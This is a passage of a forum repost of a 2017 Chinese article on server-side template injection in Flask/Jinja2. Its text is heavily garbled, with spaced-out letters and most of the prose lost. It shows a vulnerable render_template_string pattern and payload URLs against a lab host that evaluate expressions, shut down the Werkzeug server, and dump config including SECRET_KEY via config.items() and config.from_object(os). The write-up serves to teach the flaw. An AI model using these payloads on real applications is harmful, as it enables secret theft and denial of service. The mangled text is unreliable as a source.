[11445] 2017-06-11_FlaskJinja2开发中遇到的的服务端注入问题研究

文档创建者:s7ckTeam
浏览次数:4
最后更新:2025-01-18
2017-06-11_FlaskJinja2开发中遇到的的服务端注入问题研究 F l a s k   J i n j a 2 F o r r e s t X 3 8 6   F r e e B u f   2 0 1 7 - 0 6 - 1 1 0 × 0 0 .     F l a s k / J i n j a 2   S S T I     S S T I   < > 0 × 0 1 .   F l a s k / J i n j a 2   S S T I P O C ( F l a s k   ) p y t h o n F l a s k - t e s t . p y
4 0 4 4 0 4   p a g e _ n o t _ f o u n d t e m p l a t e 4 0 4   U R L 4 0 4 U R L r e n d e r _ t e m p l a t e _ s t r i n g % s U R L O K 0 × 0 2 .   r e n d e r _ t e m p l a t e _ s t r i n g   S S T I 4 0 4 U R L
4 0 4 X S S X S S S S T I   U R L U R L J i n j i a 2 h t t p : / / 1 0 . 1 . 1 0 0 . 3 : 5 0 0 0 / { { 8 + 8 } } 8 + 8 S S T I S S T I     r e n d e r _ t e m p l a t e _ s t r i n g   d e f   r e n d e r _ t e m p l a t e _ s t r i n g ( s o u r c e ,   * * c o n t e x t ) : " " " R e n d e r s   a   t e m p l a t e   f r o m   t h e   g i v e n   t e m p l a t e   s o u r c e   s t r i n g w i t h   t h e   g i v e n   c o n t e x t . : p a r a m   s o u r c e :   t h e   s o u r c e c o d e   o f   t h e   t e m p l a t e   t o   b e r e n d e r e d : p a r a m   c o n t e x t :   t h e   v a r i a b l e s   t h a t   s h o u l d   b e   a v a i l a b l e   i n   t h e c o n t e x t   o f   t h e   t e m p l a t e . " " " c t x   =   _ a p p _ c t x _ s t a c k . t o p c t x . a p p . u p d a t e _ t e m p l a t e _ c o n t e x t ( c o n t e x t ) r e t u r n   _ r e n d e r ( c t x . a p p . j i n j a _ e n v . f r o m _ s t r i n g ( s o u r c e ) , c o n t e x t ,   c t x . a p p ) s o u r c e     F l a s k / J i n j i a 2 J i n j i a   g l o b a l s < >   ( h t t p : / / j i n j a . p o c o o . o r g / d o c s / d e v / t e m p l a t e s / # b u i l t i n - g l o b a l s ) F l a s k   T e m p l a t e   g l o b a l s < >   ( h t t p : / / f l a s k . p o c o o . o r g / d o c s / 0 . 1 0 / t e m p l a t i n g / # s t a n d a r d - c o n t e x t )
c o n t e x t r e n d e r _ t e m p l a t e _ s t r i n g   r e q u e s t F l a s k   T e m p l a t e   g l o b a l s   r e q u e s t ( f l a s k . r e q u e s t , r e q u e s t f l a s k . r e q u e s t r e q u e s t   e n v i r o n e n v i r o n e n v i r o n k e y w e r k z e u g . s e r v e r . s h u t d o w n k e y s h u t d o w n _ s e r v e r D O S U R L < > h t t p : / / 1 0 . 1 . 1 0 0 . 3 : 5 0 0 0 / { { r e q u e s t . e n v i r o n [ ' w e r k z e u g . s e r v e r . s h u t d o w n ' ] ( ) } } g u n i c o r n W S G I   w e r k z e u g r e n d e r _ t e m p l a t e _ s t r i n g   c o n f i g c o n f i g F l a s k   t e m p l a t e   g l o b a l f l a s k . c o n f i g   C o n f i g f l a s k / c o n f i g . p y a p p . c o n f i g . x x x   |   a p p . c o n f i g [ ' x x x ' ]     c o n f i g c o n d f i g S E C R E T _ K E Y U R L < >     h t t p : / / 1 0 . 1 . 1 0 0 . 3 : 5 0 0 0 / { { c o n f i g . i t e m s ( ) } }
,   0 × 0 3 .   r e n d e r _ t e m p l a t e _ s t r i n g   c o n f i g 0 × 0 2 r e n d e r _ t e m p l a t e _ s t r i n g   c o n f i g f l a s k . c o n f i g c o n f i g c o n f i g f r o m _ e n v v a r   ,   f r o m _ o b j e c t   , f r o m _ p y f i l e   ,   r o o t _ p a t h f r o m _ o b j e c t ,   f r o m _ o b j e c t o b j s t r u n i c o d e o b j o b j c o n f i g < > h t t p : / / 1 0 . 1 . 1 0 0 . 3 : 5 0 0 0 / { { c o n f i g . f r o m _ o b j e c t ( o s ) } } u r l F l a s h   T e m p l a t e   G l o b a l s     c o n f i g f r o m _ o b j e c t o s o s c o n f i g o s ,   O S i m p o r t   o s f o r   k e y   i n   d i r ( o s ) : i f   k e y . i s u p p e r ( ) : p r i n t   k e y ,   '   ' ,   g e t a t t r ( o s ,   k e y )
U R L o s o s c o n f i g < > h t t p : / / 1 0 . 1 . 1 0 0 . 3 : 5 0 0 0 / { { c o n f i g . i t e m s ( ) } }
O S S S T I c o n f i g f r o m _ o b j e c t c a l l a b l e d J i n j i a 2 0 × 0 4 .   F l a s k / J i n j i a 2   c o n f i g   O r i g i n   R e f e r :   h t t p s : / / n v i s i u m . c o m / b l o g / 2 0 1 6 / 0 3 / 0 9 / e x p l o r i n g - s s t i - i n - f l a s k - j i n j a 2 /       < > * F o r r e s t X 3 8 6 F r e e B u f . C O M
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则